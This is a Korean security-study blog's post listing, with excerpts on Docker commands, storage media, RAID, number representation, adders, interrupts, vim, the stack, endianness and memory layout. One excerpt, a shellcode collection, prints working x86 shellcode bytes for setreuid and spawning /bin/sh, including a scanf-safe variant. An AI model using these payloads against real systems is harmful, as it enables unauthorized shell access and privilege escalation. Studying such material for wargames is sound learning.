본문 바로가기

Security_/etc14

[Docker] 명령어 정리 이미지 관련 도커 이미지 검색 docker search ubuntu 도커 이미지 다운로드 (태그가 없으면 가장 최신 버전이 다운로드 된다.) docker image pull ubuntu 도커 특정 버전 이미지 다운로드 (태그를 붙여준다.) docker image pull ubuntu:18.04 도커 이미지 목록 출력 docker image ls 도커 이미지 제거 docker image rm ubuntu 컨테이너 관련 도커 컨테이너 시작 - 컨테이너가 부팅되고 빈 명령어 실행 후 종료된다. docker container run ubuntu:18.04 도커 /bin/bash로 실행 (-it 옵션이 상호작용 옵션) docker container run -it ubuntu:18.04 /bin/bash 도커 활성.. 2022. 2. 1.
[저장매체] ATA / PATA / SATA ATA(Advanced Technology Attachment) - 하드디스크, CD-ROM등 저장 장치의 표준 인터페이스 - IDE(Integrated Drive Electronics)라는 용어랑 혼재되어 사용 - 병렬 전송 방식을 사용하는 PATA(Parallel ATA) / 직렬 전송 방식을 사용하는 SATA(Serial ATA) 로 발전 PATA(Parallel ATA) - 40핀의 단자가 리본 케이블로 드라이브를 연결 - 16비트의 데이터를 한 번에 전송 - SATA 이전에 많이 쓰여졌다. SATA(Serial ATA) - 컨트롤러에 따라 5~8개 까지 연결 가능 - SATA1은 150MBps / SATA2 에서는 300MBps / SATA3 에서는 600MBps 전송률 지원 - 전원이 켜져 있.. 2021. 9. 29.
[저장매체] SSD(Solid State Drive) SSD - 주로 NAND 플래시 메모리 이용 - 하드디스크와 달리 반도체 메모리를 내장하여 하드디스크에 비해 외부 충격에 강하다. - 하드디스크에 비해 읽기, 쓰기, 접근 시간이 빠르고, 소비 전력, 소음, 발열이 낮다. - 저쟁매체로 일반 RAM을 탑재한 모델과 Flash Memory를 탑재한 모델이 존재 - TRIM, GC(Garbage Collection)과 같은 기능이 있어 이미징시 주의해야한다. * TRIM, GC(Garbage Collection) : 불필요한 데이터를 삭제해주는 기술 - 운영체제에서 파일을 삭제할 때 하드디스크는 덮어쓸 수 있지만, SSD는 덮어쓰기가 불가능하여 데이터를 지운 후 저장한다. (TRIM은 지워진 데이터의 공간을 미리 비워두는 역할을 하고, GC는 SSD의 컨트롤.. 2021. 9. 29.
[저장매체] 플래시 메모리(Flash Memory) 플래시 메모리(Flash Memory) - 전기적으로 데이터를 지우고 재기록이 가능한 비휘발성 기억 장치 - 소비 전력이 작다. - EEPROM과 다르게 여러 구역으로 구성된 블록안에서 지우고 쓰기가 가능 - 블록 단위 프로그래밍 방식을 사용해서 EEPROM보다 빠르다. 한계 - 블록 단위로 지워야 한다. - 덮어 쓸 수 없어 모든 블록을 지우기 전까지 해당 자료 변경 불가 종류 - NOR 플래시 메모리 / NAND 플래시 메모리로 구분 가능 NOR 플래시 메모리 - 임의 접근 방식으로 속도가 빠르다. - MMC 카드나 Compact 플래시 메모리, 휴대폰이나 셋탑박스에 사용 * Compact Flash Memory : 작은 반도체 칩 카드 - 제조사에서 출시 할 때 모든 셀(Cell)의 상태는 1로 세.. 2021. 9. 29.
[운영체제] RAID 총 정리?! RAID(Redundant Array of Independent Disk) - 여러개의 하드 디스크에 일부 중복된 데이터를 나눠서 저장하는 기술 - 레벨이 높아질 수록 신뢰성과 성능 향상이 보여진다. - 데이터를 분할해서 복수의 장치에 대해 병렬로 데이터를 읽는 장치 또는 읽는 방식 JBOD(Just Bunch of Disks) : 여러 개의 디스크를 하나의 디스크처럼 보이도록 이어붙이는 기술 * 디스크 각각의 성능이 서로 달라도 전체 볼륨의 성능에는 영향을 미치지 않음 * 디스크 중 하나가 깨져도 그 디스크에 해당하는 부분만 손실 RAID 0 : 여러개의 디스크에 조각을 분배하여 저장하는 기술 * 스트라이핑(Striping)이라고도 한다. * 디스크 중 하나만 깨져도 전체 볼륨을 사용하지 못한다. * .. 2021. 9. 29.
[기타] 고정 소수점 / 부동 소수점 정리, 차이 고정 소수점 부호 비트(1bit)와 정수 부분으로 이루졌다 부호 비트 정수 부호 비트(1bit)는 양수 0, 음수 1로 표현 정수 부분 오른쪽에는 가상 소수점이 있다. 정수 데이터의 표현과 연산에 고정 소수점 방식을 이용 고정 소수점으로 음수를 표현하는 방법은 3가지가 있다. 1. 부호 비트 활용 : 부호 비트를 1로 세팅한다. (-127 ~ 127) 2. 1의 보수 : 양수 표현에 대하여 1의 보수를 계산한다. (-127 ~ 127) 3. 2의 보수 : 양수 표현에 대하여 1의 보수를 하고 1을 더한다. (-128 ~ 127) 2의 보수를 이용할 경우 다른 방법을 사용하는 것보다 더 많은 범위를 표현할 수 있다. 부동 소수점 부호 비트(1bit), 지수 부분, 가수 부분으로 이루어져있다. 부호 비트 지.. 2021. 9. 28.
[논리회로] 반가산기 / 전가산기 용어 정리 가산기 : 덧셈 연산을 수행하는 논리 회로 대부분의 가산기는 2진수의 합을 계산 2의 보수나 1의 보수를 이용하여 음수를 표현하는 경우, 가산기를 가감산기로 이용 반가산기 이진수의 한 자릿수를 연산하고, 자리올림수는 자리올림수 출력에 따라 출력 - 두 비트(A, B)를 더해 합(S)과 자리 올림수(C)를 얻는 회로 [진리표] A B 합(S) 자리 올림수(C) 0 0 0 0 0 1 1 0 1 0 1 0 1 1 0 1 XOR 게이트 AND 게이트 전가산기 이진수의 한 자릿수를 연산하고, 하위의 자리올림수 입력을 포함하여 출력 - 두 비트(A, B)와 자리 올림수(C0)를 더해 합(S)과 최종 자리 올림수(C1)를 얻는 회로 3입력 비트 - 피가수(augend), 가수(addend), 캐리(carry)로 이루.. 2021. 9. 28.
[운영체제] PSW(Program Status Word) PSW(Program Status Word) : 시스템 내부의 순간순간의 상태를 기록하고 있는 정보 CPU의 연산 결과에 따라 상태가 PSW에 저장되며, 이 중에 인터럽트를 알리는 비트 5bit가 있고, 5가지 ISR(인터럽트 서비스 루틴)이 운영체제 일부에 존재 인터럽트 처리 중 다른 인터럽트 발생 시, 운선순위에 의해 인터럽트 처리 [운영체제] 인터럽트 벡터(Interrupt Vector) / 인터럽트 벡터 테이블 (Interrupt Vector Table) 인터럽트 벡터(Interrupt Vector) : 인터럽트에 대한 ISR의 시작 주소 * ISR(Interruct Service Routine) : 실제 인터럽트를 처리하는 루틴 * 인터럽트 발생시 ISR이 레지스터와 PC를 저장하여 실행중이던 .. 2021. 9. 27.
[운영체제] 인터럽트 벡터(Interrupt Vector) / 인터럽트 벡터 테이블 (Interrupt Vector Table) 인터럽트 벡터(Interrupt Vector) : 인터럽트에 대한 ISR의 시작 주소 * ISR(Interruct Service Routine) : 실제 인터럽트를 처리하는 루틴 * 인터럽트 발생시 ISR이 레지스터와 PC를 저장하여 실행중이던 CPU 상태를 보존하고, 인터럽트 종료 시 원래 상태로 복귀 인터럽트 벡터 테이블(Interrupt Vector Table) : 인터럽트 발생시 처리해야 할 루틴의 주소를 보관하고 있는 테이블 인피니언, 마이크로침, Atmel, 프리스케일, AMD, 인텔 등 대부분의 CPU들은 인터럽트 벡터 테이블을 가지고 있다. 2021. 9. 27.
[Linux] vim 설치 및 설정 [vim] vim 설치 sudo apt-get update && sudo apt-get install vim -y vim 설정파일 만들기 vi ~/.vimrc 설정(새로 만드는것이라 원래는 아무것도 써져있지 않습니다) _ "는 주석입니다. set number "line 표시 set ai "auto indent(들여쓰기) set si "smart indent(들여쓰기) set cindent "c style indent set shiftwidth=4 "자동 들여쓰기 너비 set ts=4 "tab을 4칸으로 set ignorecase "검색시 대소문자 구별하지않음 set hlsearch "검색시 하이라이트(색상강조) set expandtab "tab대신 띄어쓰기 set background = dark "검정배.. 2019. 10. 16.
[etc] 쉘 코드 모음 [쉘 코드] - 6바이트 코드 exit() 코드 \x31\xc0\xb0\x01\xcd\x80 - 16바이트 코드 setreuid(geteuid(),geteuid()) 코드 \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 - 25바이트 코드 일반적인 쉘코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 - 26바이트 코드 scanf로 입력받을 경우 사용 (scanf는 \x09, \x0a, \x0b, \x0c, \x0d, \x20를 읽지 못함) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68.. 2018. 10. 3.
[etc] Stack? [Stack] 스택(stack) : 메모리의 한부분으로 LIFO 방식으로 동작하는 특별한 자료 구조 LIFO(Last Input First Output) : 나중에 입력된것이 먼저 나온다. (후입선출) (3이 제일 나중에 들어가고 3이 제일 먼저 나온다) 스택은 POP과 PUSH 두가지 동작을 지원한다.PUSH : 데이터를 스택에 집어넣는다. PUSH 3 _ 3을 스택에 넣는다POP : 데이터를 스택에서 꺼낸다. POP 3 _ 3을 스택에서 꺼낸다. 스택은 높은주소에서 낮은주소로 쌓인다. PUSH를 하면 ESP-4 즉, 4바이트가 감소한다.POP을 하면 ESP+4 즉, 4바이트가 증가한다. 알아두면 좋을 게시물 [메모리 구조] [ESP, EBP 란?] 2018. 10. 1.
[etc] 빅/리틀 엔디언 #비교 [빅/리틀 엔디언] 빅 엔디언 : 작은 단위가 앞으로 온다.리틀 엔디언 : 큰 단위가 앞으로 온다.미들 엔디언 : 두 경우에 속하지 않거나 둘을 모두 지원하는 경우 저장 방식10진수 빅 엔디언 리틀 엔디언0 0x00000000 0x000000001 0x00000001 0x010000002 0x00000002 0x02000000 표현 _ 0x12345678- 빅 엔디언 : 12 34 56 78 - (높은주소 ---- 낮은주소) - 리틀 엔디언 : 78 56 34 12- (낮은주소 ---- 높은주소) - 미들 엔디언 : 34 12 78 56 or 56 78 12 34 장점 - 빅 엔디언 : 디버그를 편하게 해준다 (메모리의 값을 보기가 편함) ex) 0x59654148 : 59 65 41 48- 리틀 엔디언.. 2018. 8. 24.
[etc] 메모리(Memory) 구조 [메모리 구조] 커널(Kernel) 영역- 시스템 운영에 필요한 메모리로, 운영체제가 커널영역에 존재한다.- 사용자는 함부로 커널 영역에 접근할 수 없다.- 스택은 낮은주소로 쌓이기 때문에 커널영역을 침범하지 않는다. (데이터 영역 위에 코드영역이 존재한다. 코드영역은 코드 자체를 의미한다) 유저(User) 영역- 하나의 프로세스는 유저영역에서 코드 영역, 데이터 영역, 힙 영역, 스택 영역으로 나뉘어져 있다. 데이터(Data) 영역- 전역 변수와 static 변수가 할당되는 영역- 프로그램의 시작과 동시에 할당되고, 프로그램이 종료되어야 메모리에서 소멸됨(전역변수가 프로그램이 종료될 때 까지 존재하는 이유) 힙(Heap) 영역- 필요에 의해 동적으로 메모리를 할당 할 때 사용(동적할당 같은 경우는 힙 .. 2018. 4. 29.